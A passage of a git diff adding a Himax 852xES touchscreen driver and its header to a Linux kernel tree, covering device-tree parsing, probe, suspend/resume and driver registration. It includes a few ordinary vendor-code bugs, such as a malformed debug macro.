coords, 4) == 0) { + vk[i].x_range_min = coords[0], vk[i].x_range_max = coords[1]; + vk[i].y_range_min = coords[2], vk[i].y_range_max = coords[3]; + } else + I(" range faile"); + i++; + } + pdata->virtual_key = vk; + for (i = 0; i < cnt; i++) + I(" vk[%d] idx:%d x_min:%d, y_max:%d", i,pdata->virtual_key[i].index, + pdata->virtual_key[i].x_range_min, pdata->virtual_key[i].y_range_max); + } +} + +static int himax_parse_dt(struct himax_ts_data *ts, + struct himax_i2c_platform_data *pdata) +{ + int rc, coords_size = 0; + uint32_t coords[4] = {0}; + struct property *prop; + struct device_node *dt = ts->client->dev.of_node; + u32 data = 0; + + prop = of_find_property(dt, "himax,panel-coords", NULL); + if (prop) { + coords_size = prop->length / sizeof(u32); + if (coords_size != 4) + D(" %s:Invalid panel coords size %d", __func__, coords_size); + } + + if (of_property_read_u32_array(dt, "himax,panel-coords", coords, coords_size) == 0) { + pdata->abs_x_min = coords[0], pdata->abs_x_max = coords[1]; + pdata->abs_y_min = coords[2], pdata->abs_y_max = coords[3]; + I(" DT-%s:panel-coords = %d, %d, %d, %d\n", __func__, pdata->abs_x_min, + pdata->abs_x_max, pdata->abs_y_min, pdata->abs_y_max); + } + + prop = of_find_property(dt, "himax,display-coords", NULL); + if (prop) { + coords_size = prop->length / sizeof(u32); + if (coords_size != 4) + D(" %s:Invalid display coords size %d", __func__, coords_size); + } + rc = of_property_read_u32_array(dt, "himax,display-coords", coords, coords_size); + if (rc && (rc != -EINVAL)) { + D(" %s:Fail to read display-coords %d\n", __func__, rc); + return rc; + } + pdata->screenWidth = coords[1]; + pdata->screenHeight = coords[3]; + I(" DT-%s:display-coords = (%d, %d)", __func__, pdata->screenWidth, + pdata->screenHeight); + + pdata->gpio_irq = of_get_named_gpio(dt, "himax,irq-gpio", 0); + if (!gpio_is_valid(pdata->gpio_irq)) { + I(" DT:gpio_irq value is not valid\n"); + } + + pdata->gpio_reset = of_get_named_gpio(dt, "himax,rst-gpio", 0); + if (!gpio_is_valid(pdata->gpio_reset)) { + I(" DT:gpio_rst value is not valid\n"); + } + pdata->gpio_3v3_en = of_get_named_gpio(dt, "himax,3v3-gpio", 0); + if (!gpio_is_valid(pdata->gpio_3v3_en)) { + I(" DT:gpio_3v3_en value is not valid\n"); + } + I(" DT:gpio_irq=%d, gpio_rst=%d, gpio_3v3_en=%d", pdata->gpio_irq, pdata->gpio_reset, pdata->gpio_3v3_en); + + if (of_property_read_u32(dt, "report_type", &data) == 0) { + pdata->protocol_type = data; + I(" DT:protocol_type=%d", pdata->protocol_type); + } + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (of_property_read_u32(dt, "proximity_bytp_enable", &data) == 0) { + pdata->proximity_bytp_enable = data; + I(" DT:proximity_bytp_enable=%d", pdata->proximity_bytp_enable); + } +#endif + himax_vk_parser(dt, pdata); + + return 0; +} +#endif + +#ifdef HX_TOUCH_REC +static int check_touchData(void) +{ + if (HX_MAX_PT>10 || HX_MAX_PT < 1) + return 1; +#ifdef HX_TP_PROC_DIAG + if (HX_RX_NUM > 40 || HX_RX_NUM<5) + return 1; + else if (HX_TX_NUM > 40 || HX_TX_NUM<5) + return 1; +#endif +#ifdef HX_TP_PROC_2T2R + if (Is_2T2R) { + if (HX_RX_NUM_2 > 40 || HX_RX_NUM_2<5) + return 1; + else if (HX_TX_NUM_2 > 40 || HX_TX_NUM_2<5) + return 1; + } +#endif + return 0; +} +static void TP_REC(void) +{ + himax_power_on_initCMD(private_ts->client); + //himax_HW_reset(true,false); + calculate_point_number(); +#ifdef HX_TP_PROC_DIAG + setXChannel(HX_RX_NUM); + setYChannel(HX_TX_NUM); + kfree(diag_mutual); + setMutualBuffer(); +#endif +#ifdef HX_TP_PROC_2T2R + setXChannel_2(HX_RX_NUM_2); + setYChannel_2(HX_TX_NUM_2); + kfree(diag_mutual_2); + setMutualBuffer_2(); +#endif + private_ts->x_channel = HX_RX_NUM; + private_ts->y_channel = HX_TX_NUM; + private_ts->nFinger_support = HX_MAX_PT; + calcDataSize(private_ts->nFinger_support); +} +#endif + +static int himax852xes_probe(struct i2c_client *client, const struct i2c_device_id *id) +{ + int err = -ENOMEM; + struct himax_ts_data *ts; + struct himax_i2c_platform_data *pdata; + + //Check I2C functionality + if (!i2c_check_functionality(client->adapter, I2C_FUNC_I2C)) { + E("%s: i2c check functionality error\n", __func__); + err = -ENODEV; + goto err_check_functionality_failed; + } + ts = kzalloc(sizeof(struct himax_ts_data), GFP_KERNEL); + if (ts == NULL) { + E("%s: allocate himax_ts_data failed\n", __func__); + err = -ENOMEM; + goto err_alloc_data_failed; + } + + i2c_set_clientdata(client, ts); + ts->client = client; + ts->dev = &client->dev; + +#if 0 + /* Remove this since this will cause request_firmware fail. + Thie line has no use to touch function. */ + dev_set_name(ts->dev, HIMAX852xes_NAME); +#endif + +pdata = kzalloc(sizeof(*pdata), GFP_KERNEL); +if (pdata == NULL) { /*Allocate Platform data space*/ + err = -ENOMEM; + goto err_dt_platform_data_fail; +} + +#ifdef CONFIG_OF + if (client->dev.of_node) { /*DeviceTree Init Platform_data*/ + err = himax_parse_dt(ts, pdata); + if (err < 0) { + I(" pdata is NULL for DT\n"); + goto err_alloc_dt_pdata_failed; + } + } +#else + pdata = client->dev.platform_data; + if (pdata == NULL) { + I(" pdata is NULL(dev.platform_data)\n"); + goto err_get_platform_data_fail; + } +#endif + +#ifdef HX_RST_PIN_FUNC + ts->rst_gpio = pdata->gpio_reset; +#endif + +himax_gpio_power_config(ts->client, pdata); + +#ifndef CONFIG_OF + if (pdata->power) { + err = pdata->power(1); + if (err < 0) { + E("%s: power on failed\n", __func__); + goto err_power_failed; + } + } +#endif + private_ts = ts; + + /* Get Himax IC Type / FW information / Calculate the point number */ + if (himax_ic_package_check(ts) == false) { + E("Himax chip doesn NOT EXIST"); + goto err_ic_package_failed; + } + + if (pdata->virtual_key) + ts->button = pdata->virtual_key; +#ifdef HX_TP_PROC_FLASH_DUMP + ts->flash_wq = create_singlethread_workqueue("himax_flash_wq"); + if (!ts->flash_wq) + { + E("%s: create flash workqueue failed\n", __func__); + err = -ENOMEM; + goto err_create_flash_wq_failed; + } + + INIT_WORK(&ts->flash_work, himax_ts_flash_work_func); + + setSysOperation(0); + setFlashBuffer(); +#endif + + himax_read_TP_info(client); +#ifdef HX_AUTO_UPDATE_FW + err=i_update_FW(); + if (err== 0) + I("NOT Have new FW=NOT UPDATE=\n"); + else if (err>0) + I("Have new FW=UPDATE=\n"); + else + { + E("FW UPDATE Fail\n"); + goto err_FW_CRC_failed; + } +#else + if (himax_calculateChecksum(false) == 0) + goto err_FW_CRC_failed; +#endif + + /* Himax Power On and Load Config */ + if (himax_loadSensorConfig(client, pdata) < 0) { + E("%s: Load Sesnsor configuration failed, unload driver.\n", __func__); + goto err_detect_failed; + } + + calculate_point_number(); +#ifdef HX_TP_PROC_DIAG + setXChannel(HX_RX_NUM); /* X channel */ + setYChannel(HX_TX_NUM); /* Y channel */ + + setMutualBuffer(); + if (getMutualBuffer() == NULL) { + E("%s: mutual buffer allocate fail failed\n", __func__); + goto err_setchannel_failed; + } +#ifdef HX_TP_PROC_2T2R + if (Is_2T2R) { + setXChannel_2(HX_RX_NUM_2); /* X channel */ + setYChannel_2(HX_TX_NUM_2); /* Y channel */ + + setMutualBuffer_2(); + + if (getMutualBuffer_2() == NULL) { + E("%s: mutual buffer 2 allocate fail failed\n", __func__); + goto err_setchannel_failed; + } + } +#endif +#endif +#ifdef CONFIG_OF + ts->power = pdata->power; +#endif + ts->pdata = pdata; + + ts->x_channel = HX_RX_NUM; + ts->y_channel = HX_TX_NUM; + ts->nFinger_support = HX_MAX_PT; + //calculate the i2c data size + calcDataSize(ts->nFinger_support); + I("%s: calcDataSize complete\n", __func__); + + ts->pdata->abs_pressure_min = 0; + ts->pdata->abs_pressure_max = 200; + ts->pdata->abs_width_min = 0; + ts->pdata->abs_width_max = 200; + pdata->cable_config[0] = 0xF0; + pdata->cable_config[1] = 0x00; + + ts->suspended = false; +#if defined(HX_USB_DETECT) || defined(HX_USB_DETECT2) + ts->usb_connected = 0x00; + ts->cable_config = pdata->cable_config; +#endif + ts->protocol_type = pdata->protocol_type; + I("%s: Use Protocol Type %c\n", __func__, + ts->protocol_type == PROTOCOL_TYPE_A ? 'A' : 'B'); + + err = himax_input_register(ts); + if (err) { + E("%s: Unable to register %s input device\n", + __func__, ts->input_dev->name); + goto err_input_register_device_failed; + } + +#ifdef CONFIG_FB + ts->himax_att_wq = create_singlethread_workqueue("HMX_ATT_reuqest"); + if (!ts->himax_att_wq) { + E(" allocate HMX_att_wq failed\n"); + err = -ENOMEM; + goto err_get_intr_bit_failed; + } + INIT_DELAYED_WORK(&ts->work_att, himax_fb_register); + queue_delayed_work(ts->himax_att_wq, &ts->work_att, msecs_to_jiffies(15000)); + +#elif defined(CONFIG_HAS_EARLYSUSPEND) + ts->early_suspend.level = EARLY_SUSPEND_LEVEL_STOP_DRAWING + 1; + ts->early_suspend.suspend = himax_ts_early_suspend; + ts->early_suspend.resume = himax_ts_late_resume; + register_early_suspend(&ts->early_suspend); +#endif + +#ifdef HX_CHIP_STATUS_MONITOR//for ESD solution + ts->himax_chip_monitor_wq = create_singlethread_workqueue("himax_chip_monitor_wq"); + if (!ts->himax_chip_monitor_wq) + { + E(" %s: create workqueue failed\n", __func__); + err = -ENOMEM; + goto err_create_chip_monitor_wq_failed; + } + + INIT_DELAYED_WORK(&ts->himax_chip_monitor, himax_chip_monitor_function); + queue_delayed_work(ts->himax_chip_monitor_wq, &ts->himax_chip_monitor, HX_POLLING_TIMER*HZ); +#endif + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (pdata->proximity_bytp_enable) + wake_lock_init(&ts->ts_wake_lock, WAKE_LOCK_SUSPEND, HIMAX852xes_NAME); +#endif +#ifdef HX_SMART_WAKEUP + ts->SMWP_enable=0; + wake_lock_init(&ts->ts_SMWP_wake_lock, WAKE_LOCK_SUSPEND, HIMAX852xes_NAME); +#endif +wake_lock_init(&ts->ts_flash_wake_lock, WAKE_LOCK_SUSPEND, HIMAX852xes_NAME); + +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) + himax_touch_proc_init(); +#endif + +#ifdef HX_ESD_WORKAROUND + ESD_RESET_ACTIVATE = 0; +#endif +HW_RESET_ACTIVATE = 0; + + +#if defined(HX_USB_DETECT) + if (ts->cable_config) + cable_detect_register_notifier(&himax_cable_status_handler); +#endif +#ifdef HX_DOT_VIEW + register_notifier_by_hallsensor(&hallsensor_status_handler); +#endif + +err = himax_ts_register_interrupt(ts->client); +if (err) + goto err_register_interrupt_failed; + +return 0; + +err_register_interrupt_failed: +if (ts->irq_enabled) { + himax_int_enable(ts->client->irq, 0, true); + free_irq(ts->client->irq, ts); + } +if (!ts->use_irq) { + hrtimer_cancel(&ts->timer); + destroy_workqueue(ts->himax_wq); + } +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) + himax_touch_proc_deinit(); +#endif +wake_lock_destroy(&ts->ts_flash_wake_lock); +#ifdef HX_SMART_WAKEUP + wake_lock_destroy(&ts->ts_SMWP_wake_lock); +#endif +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (pdata->proximity_bytp_enable) + wake_lock_destroy(&ts->ts_wake_lock); +#endif +#ifdef HX_CHIP_STATUS_MONITOR + cancel_delayed_work_sync(&ts->himax_chip_monitor); + destroy_workqueue(ts->himax_chip_monitor_wq); +err_create_chip_monitor_wq_failed: +#endif +#ifdef CONFIG_FB + cancel_delayed_work_sync(&ts->work_att); + destroy_workqueue(ts->himax_att_wq); + if (fb_unregister_client(&ts->fb_notif)) + I("Error occurred while unregistering fb_notifier.\n"); +err_get_intr_bit_failed: +#elif defined(CONFIG_HAS_EARLYSUSPEND) + unregister_early_suspend(&ts->early_suspend); +#endif + input_free_device(ts->input_dev); + +err_input_register_device_failed: +#ifdef HX_TP_PROC_DIAG +err_setchannel_failed: +#endif +err_detect_failed: +err_FW_CRC_failed: +#ifdef HX_TP_PROC_FLASH_DUMP + destroy_workqueue(ts->flash_wq); +err_create_flash_wq_failed: +#endif +err_ic_package_failed: + +#ifndef CONFIG_OF +err_power_failed: +#endif + +#ifdef CONFIG_OF +err_alloc_dt_pdata_failed: +#else +err_get_platform_data_fail: +#endif + kfree(pdata); +err_dt_platform_data_fail: + kfree(ts); + +err_alloc_data_failed: +err_check_functionality_failed: + HX_DRIVER_PROBE_Fial=1; + return err; + +} + +static int himax852xes_remove(struct i2c_client *client) +{ + struct himax_ts_data *ts = i2c_get_clientdata(client); + + if (ts->irq_enabled) { + himax_int_enable(ts->client->irq, 0, true); + free_irq(ts->client->irq, ts); + } + if (!ts->use_irq) { + hrtimer_cancel(&ts->timer); + destroy_workqueue(ts->himax_wq); + } +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) + himax_touch_proc_deinit(); +#endif +#ifdef HX_SMART_WAKEUP + wake_lock_destroy(&ts->ts_SMWP_wake_lock); +#endif +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (pdata->proximity_bytp_enable) + wake_lock_destroy(&ts->ts_wake_lock); +#endif +#ifdef HX_CHIP_STATUS_MONITOR + cancel_delayed_work_sync(&ts->himax_chip_monitor); + destroy_workqueue(ts->himax_chip_monitor_wq); +#endif +#ifdef CONFIG_FB + cancel_delayed_work_sync(&ts->work_att); + destroy_workqueue(ts->himax_att_wq); + if (fb_unregister_client(&ts->fb_notif)) + I("Error occurred while unregistering fb_notifier.\n"); +#elif defined(CONFIG_HAS_EARLYSUSPEND) + unregister_early_suspend(&ts->early_suspend); +#endif + input_free_device(ts->input_dev); +#ifdef HX_TP_PROC_FLASH_DUMP + destroy_workqueue(ts->flash_wq); +#endif + kfree(ts); + + return 0; + +} + +#ifdef QCT +static int himax852xes_suspend(struct device *dev) +{ + int ret; + uint8_t buf[2] = {0}; +#ifdef HX_CHIP_STATUS_MONITOR + int t=0; +#endif + + struct himax_ts_data *ts; + if (HX_DRIVER_PROBE_Fial) + { + I("%s: Driver probe fail. \n", __func__); + return 0; + } + I("%s: Enter suspended. \n", __func__); + ts = dev_get_drvdata(dev); + if (ts->suspended) + { + I("%s: Already suspended. Skipped. \n", __func__); + return 0; + } + else + { + ts->suspended = true; + I("%s: enter \n", __func__); + } + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + if (ts->pdata->proximity_bytp_enable) { + I("[Proximity],Proximity en=%d\r\n",g_proximity_en); + if (g_proximity_en) + I("[Proximity],Proximity %s\r\n",proximity_flag? "NEAR":"FAR"); + + if ((g_proximity_en) && (proximity_flag)) { + I("[Proximity],Proximity on,and Near won't enter deep sleep now.\n"); + atomic_set(&ts->suspend_mode, 1); + ts->first_pressed = 0; + ts->pre_finger_mask = 0; + return 0; + } + } +#endif +#ifdef HX_TP_PROC_FLASH_DUMP + if (getFlashDumpGoing()) + { + I("[himax] %s: Flash dump is going, reject suspend\n", __func__); + return 0; + } +#endif +#ifdef HX_TP_PROC_HITOUCH + if (hitouch_is_connect) + { + I("[himax] %s: Hitouch connect, reject suspend\n", __func__); + return 0; + } +#endif + +#ifdef HX_CHIP_STATUS_MONITOR +if (HX_ON_HAND_SHAKING)//chip on hand shaking,wait hand shaking +{ + for (t=0; t<100; t++) + { + if (HX_ON_HAND_SHAKING== 0)//chip on hand shaking end + { + I("%s:HX_ON_HAND_SHAKING OK check %d times\n", __func__,t); + break; + } + else + msleep(20); + } + if (t==100) + { + E("%s:HX_ON_HAND_SHAKING timeout reject suspend\n", __func__); + return 0; + } +} +#endif + +#ifdef HX_SMART_WAKEUP + if (ts->SMWP_enable) + { + atomic_set(&ts->suspend_mode, 1); + ts->pre_finger_mask = 0; + FAKE_POWER_KEY_SEND=false; + buf[0] = 0x8F; + buf[1] = 0x20; + ret = i2c_himax_master_write(ts->client, buf, 2, DEFAULT_RETRY_CNT); + if (ret < 0) + { + E("[himax] %s: I2C access failed addr = 0x%x\n", __func__, ts->client->addr); + } + I("Enable GESTURE and DOUBLE CLICK, reject suspend \n"); + return 0; + } +#endif + + himax_int_enable(ts->client->irq, 0, true); + +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + cancel_delayed_work_sync(&ts->himax_chip_monitor); +#endif + + //Himax 852xes IC enter sleep mode + buf[0] = HX_CMD_TSSOFF; + ret = i2c_himax_master_write(ts->client, buf, 1, DEFAULT_RETRY_CNT); + if (ret < 0) + { + E("[himax] %s: I2C access failed addr = 0x%x\n", __func__, ts->client->addr); + } + msleep(40); + + buf[0] = HX_CMD_TSSLPIN; + ret = i2c_himax_master_write(ts->client, buf, 1, DEFAULT_RETRY_CNT); + if (ret < 0) + { + E("[himax] %s: I2C access failed addr = 0x%x\n", __func__, ts->client->addr); + } + + if (!ts->use_irq) { + ret = cancel_work_sync(&ts->work); + if (ret) + himax_int_enable(ts->client->irq, 1, true); + } + + //ts->first_pressed = 0; + atomic_set(&ts->suspend_mode, 1); + ts->pre_finger_mask = 0; + if (ts->pdata->powerOff3V3 && ts->pdata->power) + ts->pdata->power(0); + + return 0; +} + +static int himax852xes_resume(struct device *dev) +{ +#ifdef HX_SMART_WAKEUP + int ret; + uint8_t buf[2] = {0}; +#endif +#ifdef HX_CHIP_STATUS_MONITOR + int t=0; +#endif + struct himax_ts_data *ts; + if (HX_DRIVER_PROBE_Fial) + { + I("%s: Driver probe fail. \n", __func__); + return 0; + } + + I("%s: enter \n", __func__); + ts = dev_get_drvdata(dev); + + if (ts->pdata->powerOff3V3 && ts->pdata->power) + ts->pdata->power(1); +#ifdef HX_CHIP_STATUS_MONITOR + if (HX_ON_HAND_SHAKING)//chip on hand shaking,wait hand shaking + { + for (t=0; t<100; t++) + { + if (HX_ON_HAND_SHAKING== 0)//chip on hand shaking end + { + I("%s:HX_ON_HAND_SHAKING OK check %d times\n", __func__,t); + break; + } + else + msleep(20); + } + if (t==100) + { + E("%s:HX_ON_HAND_SHAKING timeout reject resume\n", __func__); + return 0; + } + } +#endif +#ifdef HX_SMART_WAKEUP + if (ts->SMWP_enable) + { + //Sense Off + i2c_himax_write_command(ts->client, HX_CMD_TSSOFF, DEFAULT_RETRY_CNT); + msleep(40); + //Sleep in + i2c_himax_write_command(ts->client, HX_CMD_TSSLPIN, DEFAULT_RETRY_CNT); + buf[0] = 0x8F; + buf[1] = 0x00; + ret = i2c_himax_master_write(ts->client, buf, 2, DEFAULT_RETRY_CNT); + if (ret < 0) + { + E("[himax] %s: I2C access failed addr = 0x%x\n", __func__, ts->client->addr); + } + msleep(50); + } +#endif + //Sense On + i2c_himax_write_command(ts->client, HX_CMD_TSSON, DEFAULT_RETRY_CNT); + msleep(30); + i2c_himax_write_command(ts->client, HX_CMD_TSSLPOUT, DEFAULT_RETRY_CNT); + atomic_set(&ts->suspend_mode, 0); + + himax_int_enable(ts->client->irq, 1, true); + +#ifdef HX_CHIP_STATUS_MONITOR + HX_CHIP_POLLING_COUNT = 0; + queue_delayed_work(ts->himax_chip_monitor_wq, &ts->himax_chip_monitor, HX_POLLING_TIMER*HZ); //for ESD solution +#endif + + ts->suspended = false; + return 0; +} +#endif + + + +#if defined(CONFIG_FB) +static int fb_notifier_callback(struct notifier_block *self, + unsigned long event, void *data) +{ + struct fb_event *evdata = data; + int *blank; + struct himax_ts_data *ts= + container_of(self, struct himax_ts_data, fb_notif); + + I(" %s\n", __func__); + if (evdata && evdata->data && event == FB_EVENT_BLANK && ts && + ts->client) { + blank = evdata->data; + switch (*blank) { + case FB_BLANK_UNBLANK: + himax852xes_resume(&ts->client->dev); + break; + + case FB_BLANK_POWERDOWN: + case FB_BLANK_HSYNC_SUSPEND: + case FB_BLANK_VSYNC_SUSPEND: + case FB_BLANK_NORMAL: + himax852xes_suspend(&ts->client->dev); + break; + } + } + + return 0; +} +#elif defined(CONFIG_HAS_EARLYSUSPEND) +static void himax_ts_early_suspend(struct early_suspend *h) +{ + struct himax_ts_data *ts; + ts = container_of(h, struct himax_ts_data, early_suspend); +#ifdef QCT + himax852xes_suspend(ts->client, PMSG_SUSPEND); +#endif +} + +static void himax_ts_late_resume(struct early_suspend *h) +{ + struct himax_ts_data *ts; + ts = container_of(h, struct himax_ts_data, early_suspend); +#ifdef QCT + himax852xes_resume(ts->client); +#endif +} +#endif + +static const struct i2c_device_id himax852xes_ts_id[] = { + {HIMAX852xes_NAME, 0 }, + {} +}; + +#ifdef QCT +static const struct dev_pm_ops himax852xes_pm_ops = { +#if (!defined(CONFIG_FB) && !defined(CONFIG_HAS_EARLYSUSPEND)) + .suspend = himax852xes_suspend, + .resume = himax852xes_resume, +#else + .suspend = himax852xes_suspend, +#endif +}; + +#ifdef CONFIG_OF +static struct of_device_id himax_match_table[] = { + {.compatible = "himax,852xes" }, + {}, +}; +#else +#define himax_match_table NULL +#endif +#endif + +#ifdef QCT +static struct i2c_driver himax852xes_driver = { + .id_table = himax852xes_ts_id, + .probe = himax852xes_probe, + .remove = himax852xes_remove, + .driver = { + .name = HIMAX852xes_NAME, + .owner = THIS_MODULE, + .of_match_table = himax_match_table, +#ifdef CONFIG_PM + .pm = &himax852xes_pm_ops, +#endif + }, +}; +#endif + +static void __init himax852xes_init_async(void *unused, async_cookie_t cookie) +{ + I("%s:Enter \n", __func__); +#ifdef QCT + i2c_add_driver(&himax852xes_driver); +#endif + +} + +static int __init himax852xes_init(void) +{ + I("Himax 852xES touch panel driver init\n"); + async_schedule(himax852xes_init_async, NULL); + return 0; +} + +static void __exit himax852xes_exit(void) +{ +#ifdef QCT + i2c_del_driver(&himax852xes_driver); +#endif +} + +module_init(himax852xes_init); +module_exit(himax852xes_exit); + +MODULE_DESCRIPTION("Himax852xes driver"); +MODULE_LICENSE("GPL"); diff --git a/drivers/input/touchscreen/hx852xes/himax_852xES.h b/drivers/input/touchscreen/hx852xes/himax_852xES.h new file mode 100644 index 0000000000000..74fc3aade9b83 --- /dev/null +++ b/drivers/input/touchscreen/hx852xes/himax_852xES.h @@ -0,0 +1,647 @@ +/* Himax Android Driver Sample Code for HMX852xES chipset +* +* Copyright (C) 2014 Himax Corporation. +* +* This software is licensed under the terms of the GNU General Public +* License version 2, as published by the Free Software Foundation, and +* may be copied, distributed, and modified under those terms. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +*/ + +#ifndef HIMAX852xES_H +#define HIMAX852xES_H + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "himax_platform.h" + +#if defined(CONFIG_FB) +#include +#include +#elif defined(CONFIG_HAS_EARLYSUSPEND) +#include +#endif + +#ifdef CONFIG_OF +#include +#endif + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) +#include +#endif + + + +#define HIMAX_DRIVER_VER "0.2.0.0" + +#define HIMAX852xes_NAME "Himax852xes" +#define HIMAX852xes_FINGER_SUPPORT_NUM 10 +#define HIMAX_I2C_ADDR 0x48 +#define INPUT_DEV_NAME "himax-touchscreen" +#define FLASH_DUMP_FILE "/data/user/Flash_Dump.bin" +#define DIAG_COORDINATE_FILE "/sdcard/Coordinate_Dump.csv" + +#if defined(CONFIG_TOUCHSCREEN_HIMAX_DEBUG) +#define D(x...) printk("[HXTP] " x) +#define I(x...) printk("[HXTP] " x) +#define W(x...) printk("[HXTP][WARNING] " x) +#define E(x...) printk("[HXTP][ERROR] " x) +#define DIF(x...) \ + if (debug_flag) \ + printk("[HXTP][DEBUG] " x) \ +} while(0) + +//#define strict_strtoul(...) kstrtoul(__VA_ARGS__) +//#define strict_strtol(...) kstrtol(__VA_ARGS__) + + +#define HX_TP_PROC_DIAG //Must enable when self_test is enabled +#define HX_TP_PROC_RESET +#define HX_TP_PROC_REGISTER +#define HX_TP_PROC_DEBUG +#define HX_TP_PROC_FLASH_DUMP +#define HX_TP_PROC_SELF_TEST +#define HX_TP_PROC_HITOUCH +#define HX_TP_PROC_2T2R //if enable, Need to check "HX_2T2R_Addr" + //and "HX_2T2R_en_setting" with project FW eng. +#define HX_TOUCH_REC //if it is enabled,touch panel will auto recover touch data like MXPT + //when it was detect warong on TS_WORK + +#ifdef HX_TP_PROC_SELF_TEST +#define HX_TP_SELF_TEST_DRIVER //if enable, selftest works in driver +#endif + +#else +#define D(x...) +#define I(x...) +#define W(x...) +#define E(x...) +#define DIF(x...) +#endif +//===========Himax Option function============= +#define HX_RST_PIN_FUNC +//#define HX_LOADIN_CONFIG +//#define HX_AUTO_UPDATE_FW +//#define HX_AUTO_UPDATE_CONFIG //if enable HX_AUTO_UPDATE_CONFIG, need to disable HX_LOADIN_CONFIG +//#define HX_SMART_WAKEUP +//#define HX_DOT_VIEW +//#define HX_PALM_REPORT +//#define HX_ESD_WORKAROUND +//#define HX_CHIP_STATUS_MONITOR //for ESD 2nd solution,default off +//#define HX_USB_DETECT +//#define HX_USB_DETECT2 + +//#define HX_EN_SEL_BUTTON // Support Self Virtual key ,default is close +//#define HX_EN_MUT_BUTTON // Support Mutual Virtual Key ,default is close + +#define HX_85XX_A_SERIES_PWON 1 +#define HX_85XX_B_SERIES_PWON 2 +#define HX_85XX_C_SERIES_PWON 3 +#define HX_85XX_D_SERIES_PWON 4 +#define HX_85XX_E_SERIES_PWON 5 +#define HX_85XX_ES_SERIES_PWON 6 + +#define HX_TP_BIN_CHECKSUM_SW 1 +#define HX_TP_BIN_CHECKSUM_HW 2 +#define HX_TP_BIN_CHECKSUM_CRC 3 + +#define HX_KEY_MAX_COUNT 4 +#define DEFAULT_RETRY_CNT 10 + +#define HX_VKEY_0 KEY_BACK +#define HX_VKEY_1 KEY_HOME +#define HX_VKEY_2 KEY_RESERVED +#define HX_VKEY_3 KEY_RESERVED +#define HX_KEY_ARRAY {HX_VKEY_0, HX_VKEY_1, HX_VKEY_2, HX_VKEY_3} +#define KEY_APP_SWITCH 249 + +#define SHIFTBITS 5 +#define FLASH_SIZE 32768 + +struct himax_virtual_key { + int index; + int keycode; + int x_range_min; + int x_range_max; + int y_range_min; + int y_range_max; +}; + +struct himax_config { + uint8_t default_cfg; + uint8_t sensor_id; + uint8_t fw_ver_main; + uint8_t fw_ver_minor; + uint16_t length; + uint32_t tw_x_min; + uint32_t tw_x_max; + uint32_t tw_y_min; + uint32_t tw_y_max; + uint32_t pl_x_min; + uint32_t pl_x_max; + uint32_t pl_y_min; + uint32_t pl_y_max; + uint8_t c1[11]; + uint8_t c2[11]; + uint8_t c3[11]; + uint8_t c4[11]; + uint8_t c5[11]; + uint8_t c6[11]; + uint8_t c7[11]; + uint8_t c8[11]; + uint8_t c9[11]; + uint8_t c10[11]; + uint8_t c11[11]; + uint8_t c12[11]; + uint8_t c13[11]; + uint8_t c14[11]; + uint8_t c15[11]; + uint8_t c16[11]; + uint8_t c17[11]; + uint8_t c18[17]; + uint8_t c19[15]; + uint8_t c20[5]; + uint8_t c21[11]; + uint8_t c22[4]; + uint8_t c23[3]; + uint8_t c24[3]; + uint8_t c25[4]; + uint8_t c26[2]; + uint8_t c27[2]; + uint8_t c28[2]; + uint8_t c29[2]; + uint8_t c30[2]; + uint8_t c31[2]; + uint8_t c32[2]; + uint8_t c33[2]; + uint8_t c34[2]; + uint8_t c35[3]; + uint8_t c36[5]; + uint8_t c37[5]; + uint8_t c38[9]; + uint8_t c39[14]; + uint8_t c40[159]; + uint8_t c41[99]; +}; + +struct himax_ts_data { + bool suspended; + atomic_t suspend_mode; + uint8_t x_channel; + uint8_t y_channel; + uint8_t useScreenRes; + uint8_t diag_command; + uint8_t vendor_fw_ver_H; + uint8_t vendor_fw_ver_L; + uint8_t vendor_config_ver; + uint8_t vendor_sensor_id; + + uint8_t protocol_type; + uint8_t first_pressed; + uint8_t coord_data_size; + uint8_t area_data_size; + uint8_t raw_data_frame_size; + uint8_t raw_data_nframes; + uint8_t nFinger_support; + uint8_t irq_enabled; + uint8_t diag_self[50]; + + uint16_t finger_pressed; + uint16_t last_slot; + uint16_t pre_finger_mask; + + uint32_t debug_log_level; + uint32_t widthFactor; + uint32_t heightFactor; + uint32_t tw_x_min; + uint32_t tw_x_max; + uint32_t tw_y_min; + uint32_t tw_y_max; + uint32_t pl_x_min; + uint32_t pl_x_max; + uint32_t pl_y_min; + uint32_t pl_y_max; + + int use_irq; + int (*power)(int on); + int pre_finger_data[10][2]; + + struct device *dev; + struct workqueue_struct *himax_wq; + struct work_struct work; + struct input_dev *input_dev; + struct hrtimer timer; + struct i2c_client *client; + struct himax_i2c_platform_data *pdata; + struct himax_virtual_key *button; + struct wake_lock ts_flash_wake_lock; + +#if defined(CONFIG_FB) + struct notifier_block fb_notif; + struct workqueue_struct *himax_att_wq; + struct delayed_work work_att; +#elif defined(CONFIG_HAS_EARLYSUSPEND) + struct early_suspend early_suspend; +#endif +#ifdef HX_CHIP_STATUS_MONITOR + struct workqueue_struct *himax_chip_monitor_wq; + struct delayed_work himax_chip_monitor; +#endif +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) + struct wake_lock ts_wake_lock; +#endif +#ifdef HX_TP_PROC_FLASH_DUMP + struct workqueue_struct *flash_wq; + struct work_struct flash_work; +#endif +#ifdef HX_RST_PIN_FUNC + int rst_gpio; +#endif + +#ifdef HX_SMART_WAKEUP + uint8_t SMWP_enable; + struct wake_lock ts_SMWP_wake_lock; + uint8_t gesture_cust_en[16]; +#endif +#ifdef HX_DOT_VIEW + uint8_t cover_enable; +#endif +#if defined(HX_USB_DETECT)||defined(HX_USB_DETECT2) + uint8_t usb_connected; + 